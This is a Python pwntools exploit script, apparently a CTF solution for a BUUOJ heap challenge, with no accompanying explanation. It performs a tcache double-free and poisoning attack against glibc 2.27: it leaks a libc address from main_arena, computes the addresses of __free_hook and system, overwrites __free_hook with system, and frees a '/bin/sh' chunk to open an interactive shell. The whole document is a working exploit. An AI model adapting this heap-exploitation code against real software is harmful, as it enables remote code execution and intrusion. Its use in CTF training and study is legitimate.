1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| from pwn import *
sh = remote('node3.buuoj.cn',29193) libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') free_hook_s = libc.symbols['__free_hook'] malloc_hook_s = libc.symbols['__malloc_hook'] system_s = libc.sym['system']
def add(index,size,content): sh.sendlineafter('choice >','1') sh.sendlineafter('input the index',str(index)) sh.sendlineafter('input the size',str(size)) sh.sendafter('now you can write something',content) sh.recvuntil('gift :') heap_addr = int(sh.recvuntil('\n',drop = True),16) return heap_addr
def delete(index): sh.sendlineafter('choice >','2') sh.sendlineafter('input the index',str(index))
add(0,0x70,'a'*0x70) - 0x10
heap_addr = add(1,0x70,'b'*0x70) - 0x10 for i in range(2,10): add(i,0x70,'c'*0x70)
add(10,0x10,'e'*0x10) print 'heap_addr=',hex(heap_addr)
delete(0) delete(0) delete(0) delete(0) delete(0) delete(0)
add(11,0x78,p64(heap_addr) + 'a'*0x68 + p64(heap_addr + 0x10)) add(12,0x70,'a'*0x70)
add(13,0x70,p64(heap_addr) + p64(0x80*9 + 1))
delete(1) add(14,0x70,'d')
main_arena_xx = add(15,0x70,'e') malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF) libc_base = malloc_hook_addr - malloc_hook_s free_hook_addr = libc_base + free_hook_s system_addr = libc_base + system_s print 'libc_base=',hex(libc_base) print 'free_hook_addr=',hex(free_hook_addr) print 'system_addr=',hex(system_addr)
delete(0) delete(0) add(16,0x70,p64(free_hook_addr)) add(17,0x70,'/bin/sh\x00')
add(18,0x70,p64(system_addr))
delete(17)
sh.interactive()
|